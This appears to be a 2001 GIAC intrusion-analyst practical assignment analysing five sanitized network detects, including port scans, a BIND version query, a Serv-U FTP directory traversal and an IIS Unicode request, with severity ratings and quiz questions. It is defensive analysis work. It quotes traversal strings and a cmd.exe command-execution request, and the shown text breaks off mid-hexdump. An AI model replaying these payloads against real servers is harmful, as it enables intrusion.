Global Information Assurance Certification Paper

Global Incident Analysis Center (GIAC) Certified Intrusion Analyst – Practical Assignment 1,2 & 3

V2.8

Jason Edelstein

SANS: Darling Harbour February 2001

Assignment 1 – Network Detects (40 points)

The primary purpose of these analyses is to fulfill the practical requirements for the GCIA certification. All logs contained below have been sanitized. This has been performed because in many cases the source host is not owned by the actual attacker, but has been compromised in a previous attack and is now used as a launching point for future attacks.

Network Detect 1:

This detect is a small extract of the logs found on a Firewall-1 host. All packets have been dropped by the firewall.

Date	Time	Protocol	Source	Destination	DST:Port	SRC:Port
10Mar2001	11:59:02	Tcp	XXX.XXX.35.132	XXX.XXX.249.45	1992	domain-tcp
10Mar2001	11:59:02	Tcp	XXX.XXX.35.132	XXX.XXX.249.45	246	domain-tcp
10Mar2001	11:59:02	Tcp	XXX.XXX.35.132	XXX.XXX.249.45	375	domain-tcp
10Mar2001	11:59:02	Tcp	XXX.XXX.35.132	XXX.XXX.249.45	592	domain-tcp
10Mar2001	11:59:02	Tcp	XXX.XXX.35.132	XXX.XXX.249.45	1348	domain-tcp
10Mar2001	11:59:02	Tcp	XXX.XXX.35.132	XXX.XXX.249.45	1000	domain-tcp
10Mar2001	11:59:02	Tcp	XXX.XXX.35.132	XXX.XXX.249.45	270	domain-tcp
10Mar2001	11:59:02	Tcp	XXX.XXX.35.132	XXX.XXX.249.45	2043	domain-tcp

1. **Source of Trace:**

   The source of this trace is my network.

2. **Detect was generated by:**

   This detect was captured by Check Point's Firewall-1 logging capabilities.

3. **Probability the source address was spoofed:**

   It is unlikely that the source address in this attack was spoofed as the attacker is performing reconnaissance work and would definitely want to receive the responses from this type of probe. If the source address was spoofed, the attacker would need to intercept the responses en-route, which could prove difficult.

4. **Description of the attack:**

   This attack is a port scan using a fixed source port. Responses from a port scan will give an attacker a list of operating system and application services that are running on a target host. Once obtained an attacker may use this information to target vulnerable services in the hope of compromising a system.

5. Attack mechanism:

The attacker has attempted to subvert the firewall rulebase by masquerading as DNS traffic. It is common for naïve firewall and packet filter installations to make an exception in their ruleset to allow DNS (53) to come through and establish a connection[1].

At first glance it appeared to be timed out back connections (responses from queries), but the destination port is constantly varying. In addition, many of the ports being probed fall below TCP1024 (well known ports), rather than being ephemoral ports, which provides strong evidence that the original packets have been "crafted".

The attacker has made a few mistakes in trying to carry out this attack.

Firstly, he has used Domain TCP as his source port. By using TCP 53 as his source port the queries begin to look like DNS Zone transfers. DNS Zone transfers are unlikely to be permitted through a border router or firewall from anywhere (unless mis-configured). The attacker would have been better off using TCP 20 (Ftp data) as his source port in this type of attack or using a source port of UDP 53 in a scan looking for open UDP ports. This is likely to yield better results in most cases.

Secondly, the packets are targeted directly at the firewall, rather than through it to a host behind. This yields no results where hosts are not permitted to access the firewall externally. The attacker has obviously not realised this host is a gateway, or is perhaps hoping the gateway is mis-configured.

Finally, the attacker has scanned all TCP ports on this firewall. This is very noisy and likely to be detected. Probing a few well-known application ports may go undetected.

This attack has most likely been performed using a tool like nmap (with the "-g" switch) or hping2 (with the "-s" switch).

6. Correlations:

I have not seen this type of attack before but it is commonly discussed in network security literature.

7. Evidence of active targeting:

The firewall has been targeted here.

[1] http://www.insecure.org/nmap/nmap_manpage.html

8. **Severity:**

Item	Rating	Comment
Criticality	5	Firewall protects the network from the Internet.
Lethality	1	The attack is a port scan. It is used as part of network reconnaissance, but by itself does not constitute an attack.
System Countermeasures	5	The firewall is running on a hardened and patched platform.
Network Countermeasures	5	The host is protected by a firewall rule that protects it from direct external access. Thus all packets have been dropped.
Severity	**-4**	Severity = (Criticality + Lethality) – (System + Net Countermeasures)

9. **Defensive recommendation:**

Defense is fine as all packets were dropped by the firewall.

Furthermore, the underlying operating system has been "hardened" and patched, reducing the opportunities a hacker may have in compromising the firewall host if the rulebase is accidentally mis-configured.

10. **Multiple choice test question:**

Which of the following is most likely shown in the trace above?

a) Timed out back connections
b) Multiple DNS zone transfers
c) Port scan
d) DNS buffer overflow

c

Network Detect 2:

The following output was captured by snort hex dump.

```
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/03-18:26:17.874050 XXX.XXX.35.139:1048 -> XXX.XXX.16.2:53
UDP TTL:128 TOS:0x0 ID:40742 IpLen:20 DgmLen:58
Len: 38
00 05 01 00 00 01 00 00 00 00 00 00 07 76 65 72  .............ver
73 69 6F 6E 04 62 69 6E 64 00 00 10 00 03        sion.bind.....

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/03-18:26:17.882060 XXX.XXX.16.2:53 -> XXX.XXX.35.139:1048
UDP TTL:251 TOS:0x0 ID:23030 IpLen:20 DgmLen:92 DF
```

```
Len: 72
00 05 85 80 00 01 00 01 00 00 00 00 07 76 65 72  .............ver
73 69 6F 6E 04 62 69 6E 64 00 00 10 00 03 07 56  sion.bind......V
45 52 53 49 4F 4E 04 42 49 4E 44 00 00 10 00 03  ERSION.BIND.....
00 00 00 00 00 0A 09 38 2E 32 2E 33 2D 52 45 4C  .......8.2.3-REL

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

1. **Source of Trace:**

   The source of this trace is my network.

2. **Detect was generated by:**

   This detect was captured using snort.

3. **Probability the source address was spoofed:**

   It is unlikely that the source address in this attack was spoofed as the attacker is performing reconnaissance work and would definitely want to receive the responses from this type of probe. If the source address was spoofed, the attacker would need to intercept the responses en-route, which could prove difficult.

4. **Description of the attack:**

   This attack is a Bind version query. This information is most often used to find BIND servers with vulnerable versions that can be exploited.

   The BIND server queried here has returned the reponse "8.2.3-REL".

5. **Attack mechanism:**

   The attacker connects to the DNS servers and queries its version.

   To execute this attack the attacker executes the following commands on his host:

   nslookup
   server [server to target address]
   set q=txt
   set class=chaos
   version.bind

   In addition, the hex dump of the attack was caught by the following snort rule:

   ```
   alert udp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS named version attempt"; content:
   "|07|version|04|bind"; nocase; offset: 12; depth: 26; reference:arachnids,278;)
   ```

   It detects the 07 13 octets into the packet and 04 another 8 octets later.

6. **Correlations:**

I have not seen this type of attack before but it is commonly discussed in network security literature.

7. **Evidence of active targeting:**

The organisations BIND server has been targeted here.

8. **Severity:**

Item	Rating	Comment
Criticality	5	The BIND server is the primary external DNS for the organisation.
Lethality	1	The attack is a BIND version query. It is used as part of network reconnaissance, but by itself does not constitute an attack.
System Countermeasures	3	The BIND Server is running on a hardened and patched platform. It is not running as root and is running in a CHROOTed environment. This will help contain a system compromise, but will not prevent it being queried.
Network Countermeasures	1	The host is protected by a firewall rule that only permits UDP 53 queries. However, this query passes through on UDP 53.
Severity	**2**	Severity = (Criticality + Lethality) – (System + Net Countermeasures)

9. **Defensive recommendation:**

The BIND server returned the version number to the attacker. This version is not currently vulnerable to any known exploits.

However, the BIND banner should be modified to reveal no information about the target. BIND has been a constant target of attackers in the past, and this is likely to continue in the future.

10. **Multiple choice test question:**

What is the best defense against this type of attack?
a) Prevent BIND queries on the external DNS externally
b) Log all BIND queries
c) Modify banners within BIND
d) Ensure BIND is running as a non-root user

c

Network Detect 3:

The following output was captured by a snort hex dump.

```
02/01-19:31:40.341349 XXX.XXX.30.46:1365 -> XXX.XXX.35.139:21
TCP TTL:128 TOS:0x0 ID:61117 IpLen:20 DgmLen:48 DF
******S* Seq: 0x30795D9B  Ack: 0x0  Win: 0x4000  TcpLen: 28
TCP Options (4) => MSS: 1460 NOP NOP SackOK

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

02/01-19:31:40.341510 XXX.XXX.35.139:21 -> XXX.XXX.30.46:1365
TCP TTL:128 TOS:0x0 ID:1585 IpLen:20 DgmLen:44 DF
***A**S* Seq: 0x2B888  Ack: 0x30795D9C  Win: 0x2238  TcpLen: 24
TCP Options (1) => MSS: 1460

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

02/01-19:31:40.341756 XXX.XXX.30.46:1365 -> XXX.XXX.35.139:21
TCP TTL:128 TOS:0x0 ID:61118 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x30795D9C  Ack: 0x2B889  Win: 0x4470  TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

02/01-19:31:40.345346 XXX.XXX.35.139:21 -> XXX.XXX.30.46:1365
TCP TTL:128 TOS:0x0 ID:2097 IpLen:20 DgmLen:90 DF
***AP*** Seq: 0x2B889  Ack: 0x30795D9C  Win: 0x2238  TcpLen: 20
32 32 30 20 53 65 72 76 2D 55 20 46 54 50 2D 53  220 Serv-U FTP-S
65 72 76 65 72 20 76 32 2E 35 62 20 66 6F 72 20  erver v2.5b for
57 69 6E 53 6F 63 6B 20 72 65 61 64 79 2E 2E 2E  WinSock ready...
0D 0A                                            ..


02/01-19:31:40.464297 XXX.XXX.30.46:1365 -> XXX.XXX.35.139:21
TCP TTL:128 TOS:0x0 ID:61120 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x30795D9C  Ack: 0x2B8BB  Win: 0x443E  TcpLen: 20


=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

02/01-19:31:41.795664 XXX.XXX.30.46:1365 -> XXX.XXX.35.139:21
TCP TTL:128 TOS:0x0 ID:61122 IpLen:20 DgmLen:51 DF
***AP*** Seq: 0x30795D9C  Ack: 0x2B8BB  Win: 0x443E  TcpLen: 20
55 53 45 52 20 75 73 65 72 0D 0A                 USER user..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

02/01-19:31:41.799582 XXX.XXX.35.139:21 -> XXX.XXX.30.46:1365
TCP TTL:128 TOS:0x0 ID:2865 IpLen:20 DgmLen:76 DF
***AP*** Seq: 0x2B8BB  Ack: 0x30795DA7  Win: 0x222D  TcpLen: 20
33 33 31 20 55 73 65 72 20 6E 61 6D 65 20 6F 6B  331 User name ok
61 79 2C 20 6E 65 65 64 20 70 61 73 73 77 6F 72  ay, need passwor
64 2E 0D 0A                                      d...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

02/01-19:31:41.966523 XXX.XXX.30.46:1365 -> XXX.XXX.35.139:21
TCP TTL:128 TOS:0x0 ID:61124 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x30795DA7  Ack: 0x2B8DF  Win: 0x441A  TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+



02/01-19:31:43.435530 XXX.XXX.30.46:1365 -> XXX.XXX.35.139:21
```

```
TCP TTL:128 TOS:0x0 ID:61127 IpLen:20 DgmLen:51 DF
***AP*** Seq: 0x30795DA7  Ack: 0x2B8DF  Win: 0x441A  TcpLen: 20
50 41 53 53 20 75 73 65 72 0D 0A                PASS XXXX..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

02/01-19:31:43.445818 XXX.XXX.35.139:21 -> XXX.XXX.30.46:1365
TCP TTL:128 TOS:0x0 ID:3633 IpLen:20 DgmLen:70 DF
***AP*** Seq: 0x2B8DF  Ack: 0x30795DB2  Win: 0x2222  TcpLen: 20
32 33 30 20 55 73 65 72 20 6C 6F 67 67 65 64 20  230 User logged
69 6E 2C 20 70 72 6F 63 65 65 64 2E 0D 0A        in, proceed...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

02/01-19:31:43.568875 XXX.XXX.30.46:1365 -> XXX.XXX.35.139:21
TCP TTL:128 TOS:0x0 ID:61128 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x30795DB2  Ack: 0x2B8FD  Win: 0x43FC  TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

02/01-19:31:52.706924 XXX.XXX.30.46:1365 -> XXX.XXX.35.139:21
TCP TTL:128 TOS:0x0 ID:61133 IpLen:20 DgmLen:66 DF
***AP*** Seq: 0x30795DB2  Ack: 0x2B8FD  Win: 0x43FC  TcpLen: 20
43 57 44 20 25 32 30 2E 2E 25 32 30 25 32 30 2E  CWD %20..%20%20.
2E 2F 77 69 6E 6E 74 5C 0D 0A                    ./winnt\..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

02/01-19:31:52.709287 XXX.XXX.35.139:21 -> XXX.XXX.30.46:1365
TCP TTL:128 TOS:0x0 ID:3889 IpLen:20 DgmLen:88 DF
***AP*** Seq: 0x2B8FD  Ack: 0x30795DCC  Win: 0x2208  TcpLen: 20
32 35 30 20 44 69 72 65 63 74 6F 72 79 20 63 68  250 Directory ch
61 6E 67 65 64 20 74 6F 20 2F 63 3A 2F 69 6E 63  anged to /c:/inc
6F 6D 69 6E 67 2F 2E 2E 2F 57 49 4E 4E 54 0D 0A  oming/../WINNT..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

1. **Source of Trace:**

   The source of this trace is my network.

2. **Detect was generated by:**

   This detect was captured using a snort hex dump.

3. **Probability the source address was spoofed:**

   It is unlikely that the source was spoofed as the attacker would most likely want to see the responses to his queries (stimulus). If the source address was spoofed, the attacker would need to intercept the responses en-route, which could prove difficult.

4. **Description of the attack:**

   The attack is a directory traversal on Serv-U FTP version 2.5b.

5. **Attack mechanism:**

By inserting a %20 character (the HEX replacement for space) into a normal GET (file retrieve), PUT (file placement) and CWD (directory changing) commands, a remote attacker is able to access directories and files outside the normal security bounded directory structure[2].

In the attached snort hex dump you can see the attacker access the directory "\winnt" which is outside of the ftp root. The attacker should not have been able to move to any directories above the ftp root home directory.

6. Correlations:

I have not seen this type of attack before. This entry was found during a detailed inspection of snort logs after a system compromise. I found this vulnerability out by doing a text search for the string "**cd %20..%20%20../winnt\"** on some well known sites that report vulnerabilities.

The vulnerability is currently under reviewed and has been assigned the CVE# CAN-2001-0054.

7. Evidence of active targeting:

This FTP server was directly targeted.

8. Severity:

Item	Rating	Comment
Criticality	4	FTP server contains service packs for vendor products. It also contains some commercial software that should not be available to everyone.
Lethality	5	This host was compromised.
System Countermeasures	2	The FTP server was running on a hardened NT Server, but the application had not been patched to current recommended levels.
Network Countermeasures	1	The host is protected by a firewall rule that permits only FTP traffic. However, this attack took place entirely through TCP port 21.
Severity	**6**	Severity = (Criticality + Lethality) – (System + Net Countermeasures)

[2] http://www.securiteam.com/windowsntfocus/Serv-U_FTP_directory_traversal_vulnerability___20_vulnerability_.html

9. **Defensive recommendation:**

   Defenses need improvement, as this host was compromised.

   It is recommended that the latest version of Serv-U ftp is installed, and that security bulletins are monitored to ensure all applications are patched on a timely basis.

10. **Multiple choice test question:**

    Which of the following is most likely shown in the trace above?
    a) FTP Logon Bruteforce attack
    b) Directory traversal attack
    c) FTP Bounce Scan
    d) Regular FTP

    b

Network Detect 4:

This detect is a small extract of the logs found on a Firewall-1 host. All packets have been dropped by the firewall.

Date	Time	Protocol	Source	Destination	DST: Port	SRC:Port
3Apr2001	12:19:07	Tcp	XXX.XXX.35.34	XXX.XXX.249.45	640	52233
3Apr2001	12:19:07	Tcp	XXX.XXX.35.134	XXX.XXX.249.45	640	52233
3Apr2001	12:19:07	Tcp	XXX.XXX.45.67	XXX.XXX.249.45	640	52233
3Apr2001	12:19:07	Tcp	XXX.XXX.63.59	XXX.XXX.249.45	640	52233
3Apr2001	12:19:07	Tcp	XXX.XXX.35.34	XXX.XXX.249.45	2430	52233
3Apr2001	12:19:07	Tcp	XXX.XXX.45.67	XXX.XXX.249.45	2430	52233
3Apr2001	12:19:07	tcp	XXX.XXX.35.134	XXX.XXX.249.45	2430	52233
3Apr2001	12:19:07	tcp	XXX.XXX.63.59	XXX.XXX.249.45	2430	52233
3Apr2001	12:19:07	tcp	XXX.XXX.35.34	XXX.XXX.249.45	372	52233
3Apr2001	12:19:07	tcp	XXX.XXX.35.134	XXX.XXX.249.45	372	52233
3Apr2001	12:19:07	tcp	XXX.XXX.45.67	XXX.XXX.249.45	372	52233
3Apr2001	12:19:07	tcp	XXX.XXX.63.59	XXX.XXX.249.45	372	52233
3Apr2001	12:19:07	tcp	XXX.XXX.35.34	XXX.XXX.249.45	1544	52233
3Apr2001	12:19:07	tcp	XXX.XXX.35.134	XXX.XXX.249.45	1544	52233
3Apr2001	12:19:07	tcp	XXX.XXX.45.67	XXX.XXX.249.45	1544	52233
3Apr2001	12:19:07	tcp	XXX.XXX.63.59	XXX.XXX.249.45	1544	52233

1. **Source of Trace:**

   The source of this trace is my network.

2. **Detect was generated by:**

   This detect was captured by Check Point's Firewall-1 logging capabilities.

3. **Probability the source address was spoofed:**

   It is likely that three of the four source addresses are spoofed. The source that is not spoofed will be the host that crafted the other packets in this scan.

4. **Description of the attack:**

   This attack is a port scan using decoy hosts.

5. **Attack mechanism:**

   The attack is a port scan that appears to come from multiple hosts at the same time. It is likely that there are three decoys and one real host in this trace. The system administrator will see that they are being scanned from four unique IP addresses but they will be unable to tell which host the real scan is originating from and which one the decoys are originating from.

   In the trace above we can see that we have four scans, from different sources at the same time for a destination port of TCP 640 from a source port of TCP 52233. This pattern is repeated throughout the trace scanning different source ports. The scan is performed very quickly.

   This attack may have been performed using a tool like nmap (with the "-D" switch).

6. **Correlations:**

   I have not seen this type of attack before but it is commonly discussed in network security literature.

7. **Evidence of active targeting:**

   The firewall has been targeted here.

8. **Severity:**

Item	Rating	Comment
Criticality	5	Firewall protects the network from the Internet.
Lethality	1	The attack is a port scan. It is used as part of network reconnaissance, but by itself does not constitute an attack.
System	5	The firewall is running on a hardened and

Countermeasures		patched platform.
Network Countermeasures	5	The host is protected by a firewall rule that protects it from direct external access. Thus all packets have been dropped.
Severity	**-4**	Severity = (Criticality + Lethality) – (System + Net Countermeasures)

9. Defensive recommendation:

Defense is fine as all packets were dropped by the firewall.

Furthermore, the underlying operating system has been "hardened" and patched, reducing the opportunities a hacker may have in compromising the firewall host if the rulebase is accidentally mis-configured.

Decoy port scans can also be defeated through router path tracing, response-dropping and by ISPs dropping any packets with spoofed source addresses[3].

10. Multiple choice test question:

Which of the following is most likely shown in the trace above?
a) SYN flood
b) Distributed Denial of Service Attack
c) Smurf Attack
d) Port scan using decoy hosts

d

Network Detect 5:

The following output was captured by a snort hex dump.

```
04/03-19:52:56.236666 XXX.XXX.35.132:1409 -> XXX.XXX.35.139:80
TCP TTL:128 TOS:0x0 ID:62040 IpLen:20 DgmLen:48 DF
******S* Seq: 0x43917E0C  Ack: 0x0  Win: 0x4000  TcpLen: 28
TCP Options (4) => MSS: 1460 NOP NOP SackOK

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/03-19:52:56.236823 XXX.XXX.35.139:80 -> XXX.XXX.35.132:1409
TCP TTL:128 TOS:0x0 ID:53041 IpLen:20 DgmLen:44 DF
***A**S* Seq: 0x2B94B  Ack: 0x43917E0D  Win: 0x2238  TcpLen: 24
TCP Options (1) => MSS: 1460

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/03-19:52:56.237062 XXX.XXX.35.132:1409 -> XXX.XXX.35.139:80
TCP TTL:128 TOS:0x0 ID:62042 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x43917E0D  Ack: 0x2B94C  Win: 0x4470  TcpLen: 20
```

[3] http://www.insecure.org/nmap/nmap_manpage.html

```
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/03-19:52:56.237694 XXX.XXX.35.132:1409 -> XXX.XXX.35.139:80
TCP TTL:128 TOS:0x0 ID:62043 IpLen:20 DgmLen:389 DF
***AP*** Seq: 0x43917E0D  Ack: 0x2B94C  Win: 0x4470  TcpLen: 20
47 45 54 20 2F 20 48 54 54 50 2F 31 2E 31 0D 0A  GET / HTTP/1.1..
41 63 63 65 70 74 3A 20 69 6D 61 67 65 2F 67 69  Accept: image/gi
66 2C 20 69 6D 61 67 65 2F 78 2D 78 62 69 74 6D  f, image/x-xbitm
61 70 2C 20 69 6D 61 67 65 2F 6A 70 65 67 2C 20  ap, image/jpeg,
69 6D 61 67 65 2F 70 6A 70 65 67 2C 20 61 70 70  image/pjpeg, app
6C 69 63 61 74 69 6F 6E 2F 76 6E 64 2E 6D 73 2D  lication/vnd.ms-
70 6F 77 65 72 70 6F 69 6E 74 2C 20 61 70 70 6C  powerpoint, appl
69 63 61 74 69 6F 6E 2F 76 6E 64 2E 6D 73 2D 65  ication/vnd.ms-e
78 63 65 6C 2C 20 61 70 70 6C 69 63 61 74 69 6F  xcel, applicatio
6E 2F 78 2D 63 6F 6D 65 74 2C 20 61 70 70 6C 69  n/x-comet, appli
63 61 74 69 6F 6E 2F 6D 73 77 6F 72 64 2C 20 2A  cation/msword, *
2F 2A 0D 0A 41 63 63 65 70 74 2D 4C 61 6E 67 75  /*..Accept-Langu
61 67 65 3A 20 65 6E 2D 61 75 0D 0A 41 63 63 65  age: en-au..Acce
70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 7A 69  pt-Encoding: gzi
70 2C 20 64 65 66 6C 61 74 65 0D 0A 55 73 65 72  p, deflate..User
2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F  -Agent: Mozilla/
34 2E 30 20 28 63 6F 6D 70 61 74 69 62 6C 65 3B  4.0 (compatible;
20 4D 53 49 45 20 35 2E 30 31 3B 20 57 69 6E 64   MSIE 5.01; Wind
6F 77 73 20 4E 54 20 35 2E 30 29 0D 0A 48 6F 73  ows NT 5.0)..Hos
74 3A 20 31 34 38 2E 31 38 32 2E 33 35 2E 31 33  t: XXX.XXX.35.13
39 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B  9..Connection: K
65 65 70 2D 41 6C 69 76 65 0D 0A 0D 0A           eep-Alive....

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/03-19:52:56.241269 XXX.XXX.35.139:80 -> XXX.XXX.35.132:1409
TCP TTL:128 TOS:0x0 ID:53297 IpLen:20 DgmLen:267 DF
***AP*** Seq: 0x2B94C  Ack: 0x43917F6A  Win: 0x20DB  TcpLen: 20
48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D  HTTP/1.1 200 OK.
0A 53 65 72 76 65 72 3A 20 4D 69 63 72 6F 73 6F  .Server: Microso
66 74 2D 49 49 53 2F 34 2E 30 0D 0A 44 61 74 65  ft-IIS/4.0..Date
3A 20 54 75 65 2C 20 30 33 20 41 70 72 20 32 30  : Tue, 03 Apr 20
30 31 20 31 30 3A 33 32 3A 33 34 20 47 4D 54 0D  01 10:32:34 GMT.
0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 74  .Content-Type: t
65 78 74 2F 68 74 6D 6C 0D 0A 53 65 74 2D 43 6F  ext/html..Set-Co
6F 6B 69 65 3A 20 41 53 50 53 45 53 53 49 4F 4E  okie: ASPSESSION
49 44 47 47 51 47 47 47 50 51 3D 49 49 48 4C 47  IDGGQGGGPQ=IIHLG
42 4E 41 4A 4E 42 4B 4D 50 4C 46 4B 4B 4F 4B 44  BNAJNBKMPLFKKOKD
43 4C 4E 3B 20 70 61 74 68 3D 2F 0D 0A 43 61 63  CLN; path=/..Cac
68 65 2D 63 6F 6E 74 72 6F 6C 3A 20 70 72 69 76  he-control: priv
61 74 65 0D 0A 54 72 61 6E 73 66 65 72 2D 45 6E  ate..Transfer-En
63 6F 64 69 6E 67 3A 20 63 68 75 6E 6B 65 64 0D  coding: chunked.
0A 0D 0A                                         ...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/03-19:52:56.440412 XXX.XXX.35.132:1409 -> XXX.XXX.35.139:80
TCP TTL:128 TOS:0x0 ID:62046 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x43917F6A  Ack: 0x2BA2F  Win: 0x438D  TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/03-19:52:56.440568 XXX.XXX.35.139:80 -> XXX.XXX.35.132:1409
TCP TTL:128 TOS:0x0 ID:53553 IpLen:20 DgmLen:85 DF
***AP*** Seq: 0x2BA2F  Ack: 0x43917F6A  Win: 0x20DB  TcpLen: 20
32 32 0D 0A 4D 49 53 20 44 65 70 61 72 74 6D 65  22..MIS Departme
6E 74 20 54 45 53 54 20 77 65 62 20 73 65 72 76  nt TEST web serv
65 72 0D 0A 0D 0A 0D 0A 30 0D 0A 0D 0A           er......0....

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/03-19:52:56.640696 XXX.XXX.35.132:1409 -> XXX.XXX.35.139:80
TCP TTL:128 TOS:0x0 ID:62047 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x43917F6A  Ack: 0x2BA5C  Win: 0x4360  TcpLen: 20
```

```
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/03-19:53:56.538831 XXX.XXX.35.132:1409 -> XXX.XXX.35.139:80
TCP TTL:128 TOS:0x0 ID:62097 IpLen:20 DgmLen:40 DF
*****R** Seq: 0x43917F6A  Ack: 0x43D6B179  Win: 0x0  TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/03-19:55:54.489605 XXX.XXX.35.132:1424 -> XXX.XXX.35.139:80
TCP TTL:128 TOS:0x0 ID:62389 IpLen:20 DgmLen:48 DF
******S* Seq: 0x4640F74B  Ack: 0x0  Win: 0x4000  TcpLen: 28
TCP Options (4) => MSS: 1460 NOP NOP SackOK

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/03-19:55:54.489758 XXX.XXX.35.139:80 -> XXX.XXX.35.132:1424
TCP TTL:128 TOS:0x0 ID:2098 IpLen:20 DgmLen:44 DF
***A**S* Seq: 0x2B956  Ack: 0x4640F74C  Win: 0x2238  TcpLen: 24
TCP Options (1) => MSS: 1460

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/03-19:55:54.489994 XXX.XXX.35.132:1424 -> XXX.XXX.35.139:80
TCP TTL:128 TOS:0x0 ID:62391 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x4640F74C  Ack: 0x2B957  Win: 0x4470  TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/03-19:55:54.492021 XXX.XXX.35.132:1424 -> XXX.XXX.35.139:80
TCP TTL:128 TOS:0x0 ID:62392 IpLen:20 DgmLen:499 DF
***AP*** Seq: 0x4640F74C  Ack: 0x2B957  Win: 0x4470  TcpLen: 20
47 45 54 20 2F 73 63 72 69 70 74 73 2F 2E 2E 25  GET /scripts/..%
43 33 25 38 30 25 39 76 2E 2E 2F 77 69 6E 6E 74  C3%80%9v../winnt
2F 73 79 73 74 65 6D 33 32 2F 63 6D 64 2E 65 78  /system32/cmd.ex
65 3F 2F 63 2B 64 69 72 2B 63 3A 5C 20 48 54 54  e?/c+dir+c:\ HTT
50 2F 31 2E 31 0D 0A 41 63 63 65 70 74 3A 20 69  P/1.1..Accept: i
6D 61 67 65 2F 67 69 66 2C 20 69 6D 61 67 65 2F  mage/gif, image/
78 2D 78 62 69 74 6D 61 70 2C 20 69 6D 61 67 65  x-xbitmap, image
2F 6A 70 65 67 2C 20 69 6D 61 67 65 2F 70 6A 70  /jpeg, image/pjp
65 67 2C 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F  eg, application/
76 6E 64 2E 6D 73 2D 70 6F 77 65 72 70 6F 69 6E  vnd.ms-powerpoin
74 2C 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 76  t, application/v
6E 64 2E 6D 73 2D 65 78 63 65 6C 2C 20 61 70 70  nd.ms-excel, app
6C 69 63 61 74 69 6F 6E 2F 78 2D 63 6F 6D 65 74  lication/x-comet
2C 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 6D 73  , application/ms
